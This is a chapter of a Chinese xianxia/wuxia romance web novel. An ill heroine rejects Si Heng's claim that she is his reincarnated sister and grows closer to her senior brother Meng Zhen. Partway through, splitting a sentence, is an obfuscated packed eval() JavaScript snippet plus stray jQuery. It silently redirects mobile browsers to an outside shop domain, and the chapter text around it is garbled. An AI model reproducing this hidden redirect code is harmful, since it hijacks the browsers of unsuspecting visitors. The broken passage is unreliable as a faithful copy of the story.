43. 第 43 章
    司珩的这滴泪把晏璇吓得不轻。

    她有一瞬都忘记了身体的不适,双脚搁在轮椅踏板上,如意鞋内的脚趾不耐地动了动。

    司珩在她面前展露情绪,总是不经意的、热烈的,大起大伏到令晏璇感到莫名,他们时常处于一种信息不对等的交锋,他独演着他的爱恨情仇,晏璇则在冷眼旁观。

    一如此刻,明明是他先挑起了矛盾,却因晏璇再正常不过的反应表现出了莫大的悲伤和委屈。他若是个不经事的少年,晏璇还能理解几分,可他与自己的父亲是平辈,晏璇为他的精神状态堪忧。

    “同珩?从前你唤我前辈、同叔,就为了他,”司珩眼尾扫向靠近的孟珎,恨意不浅,“你要这般呼喝我,还说要杀我。”

    晏璇:“……”

    他讲点道理好不好,晏璇受够了牛头不对马嘴的对峙,腹痛连着头痛,她难受得想吐。

    “他是我师兄,而你,同珩,你是我的谁?你清醒些,莫要将我当作他人了。”晏璇咬牙说完,脸色又是白了一分。

    孟珎的眼神未曾从晏璇身上挪开,见她情状有异心中焦急。

    “阿璇,凝神静气,勿再开口。”

    他低声嘱咐,取针欲往晏璇踝尖上三寸施针,司珩伸手横档隔开了孟珎的靠近。

    “姓同的,你要害死阿璇啊!”花奕怒极,破妄刀刀尖就悬在司珩后脖颈上。

    司珩握住晏璇手背:“你哪里不舒服我替你治,不需要姓孟的来!”

    他就像那些顽固的不讲道理的耽误病人治疗的病患家属,守在晏璇身前,任谁来都不行。

    晏璇已痛得两耳嗡鸣,她直接一针扎在司珩手背,也不管是哪个穴位,闭着眼道:“你走,我不要看见你……”

    “为什么?”司珩低叫。

    什么为什么?她还想问为什么呢。

    司珩吃痛,手背上血珠不断渗出顺着指缝流淌,他仍是紧抓着晏璇不放。

    晏璇都感受到了指间的滑腻,身体的疼痛加之心底涌上来的烦躁,她忍不住侧头“哇”的一声吐在轮椅外。早膳本就没吃多少,吐了两口便都是苦水,一地的秽物溅在司珩衣袍上不少。他这才慌乱起来,摸着晏璇的脉探看。

    孟珎一把撞开他,俯身去抱晏璇。花奕和十一分隔两边,一个持刀一个手握两指宽匕首,均对着司珩重要经络,若是他敢动,她们即使不能一刀要了他的命,也能让他不得动弹,血流至死。

    孟珎三根银针快速落于晏璇身上,此般距离,他真想再一针扎到司珩身上让他永远闭了眼。可……他知道晏璇不愿他那样做,除去她心性纯善,她对司珩有着她自己都未曾察觉的信任,明知他别有用心仍是放任他靠近,仿佛骨子里有着天然的吸引。

    晏璇五指深深掐入孟珎的手臂,哼出一声:“疼。”

    孟珎摒弃心中怅惘,只余一点钝痛,他紧抱了她往客栈方向走,连声安慰:“一会,一会就好了。”

    晏璇埋头用力抵在孟珎胸前,她怕自己一张嘴就咬上去。

    【小九,有没有痛觉屏蔽功能,我可以拿任何东西换。】晏璇呼唤着系统。

    小九:【宿主,对不起,我不是攻略系列的,没有那种功能。】

    他大爷的,晏璇想骂脏话,可素质摆在那就会这一句。凭什么攻略系统可以解锁那么多外挂,她好人系统纯纯摆设!最后又是自我安慰,算了,往后她除了炼药,加紧研究些速效止痛丸出来才行。

    她被孟珎带着没走出几步,就听花奕喝道:“姓同的,没听阿璇说不想见到你吗?不许再跟来。”

    “你不想见我……可以,但是跟姓孟的在一起绝不可行!”司珩追着喊道。

    又来了!话她已经说清楚了,他到底在臆想些什么……

    孟珎托着她的双手一紧,没有理会司珩继续前行。

    “他与披云堂关系匪浅,是你我昔日的仇人,就算你厌我恨我,我也绝不允许他在你身边。”

    昔日仇人,师兄?要不是晏璇此刻无力,她真想仰天长啸。孟珎与她都是孤儿,各自的亲生爹娘早死了多少年,他们两个能结仇晏璇不知司珩在她身上又脑补了什么故事,她越发觉得他可能是一名潜在精神病患者。

    可惜了,这个世界还落后着,没法研制出能治疗精神疾病的药物。

    晏璇突然就释怀了,他一路追着自己时不时护着自己,全都靠着信仰之力,怪可怜的。

    花奕也不说话了,皱眉看他一眼,默默背起破妄往前走。

    “你不信是不是?你本就不是晏家的女儿,只是重新拥有了‘晏璇’这个躯壳,没有继承记忆。这世上,你与我才是真正的血脉至亲!”司珩奔走两步,直接拦在他们面前,他神情激荡,面部紧绷像是每条经脉都在发力,忍无可忍般倾诉出了掩藏多时的秘密。

    他疯了。晏璇心想。

    “你疯了。”花奕道,“你不会以为阿璇是你哪个亲人的投胎转世吧?这种东西也敢想是吃了多少猪油蒙了心,人死了就是死了,烧成灰烂成泥,不会变成别人,别人也不会变成她!”

    司珩的脸一阵红一阵白,他死死盯着晏璇,一字一句道:“她是。她们相貌相同,饮食禁忌一样,消失出现的时间一致,世上再无这般巧合。”

    人怎么可能长得一样,除非双胞胎,双胞胎还有异卵的呢,饮食禁忌相似的也多了去了,还有出生时间,连她爹娘都不知道确切日子,他就敢得出一致的结论。

    太可悲了,他就是凭着这点美化过的念想活在过去吗?

    晏璇无声地蹭了蹭孟珎,没什么必要与此人纠缠了,随他去吧。

    孟珎心领神会,朝着司珩难得露出些冷漠之外的情绪,他决绝道:“她不是她。”

    司珩如遭电击,木然地站在原地,为什么没有人相信?

    为什么?

    只要一个人,只要有一个人相信他,转世是存在的。

    阿姐,她还活着啊。

    阿姐……

    一行人开开心心出门,回来俱是一身伤。

    晏璇算是发现了,只要碰上姓殷的就是一整个飓风过境,谁都不能幸免。

    花奕受了点毒伤,有她和孟珎在没什么大碍,孟珎被司珩伤得不轻,他的内伤反反复复,又得疗养一段时间。至于晏璇自己,她的毛病只能温养,日后调些四物汤喝着看看效果。

    孟珎给她施了针,喂了热汤,晏璇仍是难受恹恹地侧躺在床上。

    花奕坐在一旁懊恼,她要是不跟着商陆凑热闹,大伙儿早早回了客栈便什么事没有。

    “阿璇,怪我。”

    此情此景仿佛在雾山,那次对付青蛇,花奕也是愧疚不已。晏璇轻笑:“怪你什么,我本来就想去一趟兴河坊。”

    十一的七哥,还会在吗?回头再问问十一,方才回来的路上她就躲没影了。

    “奕姐姐。”晏璇摩挲着手里的圆绿珠,“师兄他和披云堂有什么关系,他学的不是师父教的武功吗?”

    这会,她的脑袋没有痛迷糊,总算想明白司珩怎么突然把孟珎和一个江湖门派扯上关系。

    她不懂武功,他们这些学武的必定清楚各种武学招式。从前孟珎未在司

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14032840|138094||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    珩面前显露,今日因着救她露了彻底。

    “这个……你得问他。”花奕挠了下脑袋,“那门派十多年前就不在了,似乎一夜之间被人灭了门,我也是偶然听江湖上的老前辈提起才知道。孟珎跟谁学的……我也不清楚。”

    “奕姐姐如何肯定师兄的武功就是披云堂的?”

    “呃……”花奕眼眸微闪,恍然道,“披云堂的绝技凌云纵,孟珎使的就是这招。”说着,她还在晏璇面前比划了下轻功走势。

    “哦。”晏璇一知半解地点点头,明眼人都看出花奕有什么瞒着她未说。

    一个消失了的门派,师兄去哪学的功夫,这些年他不都在自己眼前吗?

    过了一会,孟珎捧着新煎好的药进屋,花奕忙起身道:“来了,有什么你问你师兄便是。”

    孟珎疑惑望她一眼,花奕露齿一笑,说着要去准备膳食,拉着晏曜便跑出了房间。

    “阿璇,你有什么要问我?”孟珎扶起她,倒是主动开了口。

    晏璇接过药碗,正待一口喝下,侧过脸端详起孟珎。晏璇每眨下眼,孟珎的心便跟着一跳。

    他抿了抿嘴角,轻声道:“有何不妥?”

    晏璇看着孟珎耳尖泛起薄红,微扬了扬眉,浅笑着摇了摇头。

    师兄什么时候开始喊她“阿璇”的……

    她喝完药,接过孟珎递来的帕子擦嘴。一转头,瞥见孟珎从袖口取出一卷黄纸。

    “此前你还在雾山时,我去云州品贤阁路遇一位姑娘旧疾发作,我见他们所乘马车有雷霆山庄的徽记。雷霆山庄庄主于少时的我有恩,我便施以了援手,彼时我并不知晓她是庄主亲眷,诊治过后就离开了,不曾想会有此告示于世。阿璇,我并非有意隐瞒,实是我也忘了此事。”孟珎捧着卷纸,细致和缓地说道。

    晏璇一愣,问道:“若那名姑娘不是雷霆山庄的,师兄便不救了吗?”

    孟珎郑重地摇摇头。

    晏璇靠向床头,手撑着脸笑道:“你既未犯错,我缘何怪你?同珩说的那些骗人话,我才不信。而且……”

    “而且什么?”孟珎追问道。

    “而且我说过,那些是师兄的经历,无论你做了什么原与旁人无关。”晏璇顿了顿,瞧着他有些黯淡下去的眸子,继续道,“惟有你心有牵绊,旁的人也就不是旁人了。”

    晏璇掐了下指尖,心头清明,目光有些灼灼:“此事已过许久,你还要来向我解释是因为你……很在意我的在意?”

    良久,孟珎深吸一口气,他的眸光清亮坦然迎向她。整个人如沐浴了阳光的雨后青叶,一扫邑邑忧色,他认真地点着头道:“嗯,我很在意。我不想我们之间再有任何误会。”

    仿佛从高空翩然坠落,晏璇听到了心脏强烈的鼓动,这还是那个木讷迟钝,遇事闷不吭声的孟珎?

    不妙……她好像不能再说他是个闷葫芦了。

    “阿璇,方才师姐说你有什么要问我的。”

    晏璇的目光一直追随着他的身影,就见他走向小药炉旁,伸手要将卷纸投入火中。

    “哎,等等。”晏璇忙喊道。

    孟珎困惑转头:“嗯?”

    “……告示留下。”晏璇轻咳了一声,“我要留着换钱。”

    孟珎:“……”

    “这算不得什么,拿消息换钱又不是换人,到时候我们跑得远远的就是。”晏璇一本正经道。

    孟珎又将卷纸放回了袖中,低声笑道:“好,听你的。”

    晏璇挠着被面,微眯着眼偷瞧他。

    师兄,好似被夺舍了。